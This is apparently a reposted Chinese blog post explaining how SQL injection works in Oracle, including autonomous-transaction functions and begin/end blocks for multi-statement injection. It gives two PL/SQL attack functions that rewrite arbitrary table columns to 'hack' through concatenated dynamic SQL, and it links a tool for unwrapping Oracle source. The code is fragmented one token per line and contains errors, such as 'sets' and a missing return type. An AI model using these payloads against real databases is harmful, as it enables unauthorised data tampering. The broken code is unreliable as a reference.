1. 查询语句后只能直接调用函数,不能直接调用存储过程,例如:select function() from dual可以,select procedure() from dual不行;
2. 查询语句中无法执行DML或DDL操作,也就是说如果被调用的函数里有insert、update、delete、create之类的写操作,就会报错,除非函数被声明为自治事务,关键字PRAGMA AUTONOMOUS_TRANSACTION;
1
2
3
4
5
6
7
8
9
|
create
or
replace
function
funinject(ftable varchar2, fcol varchar2)
return
pragma autonomous_transaction;
my_sql varchar2(1000);
begin
my_sql :=
'update '
|| ftable ||
' sets '
|| fcol ||
'='
'hack'
''
;
execute
immediate my_sql;
commit
;
return
'inject'
end
funinject
|
3. 如果函数中有insert、update、delete、create之类的写操作,则只能注入到insert、update、delete之类的子查询里,例如:insert into table values(1,select function() from dual);
4. Oracle不能注入多语句,除非被注入的SQL动态语句在begin和end之间例如:
1
2
3
4
5
6
7
|
create
or
replace
function
funinjecting(ftable varchar2, fcol varchar2)
return
varchar2
is
my_sql varchar2(1000);
begin
my_sql :=
'begin update '
|| ftable ||
' set '
||fcol||
'='
'hack'
';end;'
;
execute
immediate my_sql;
return
'inject'
end
funinjecting
|
unwrap Oracle SQL源码的工具
http://yun.baidu.com/s/1kTgP2SZ
本文转自fatshi51CTO博客,原文链接: http://blog.51cto.com/duallay/1874070,如需转载请自行联系原作者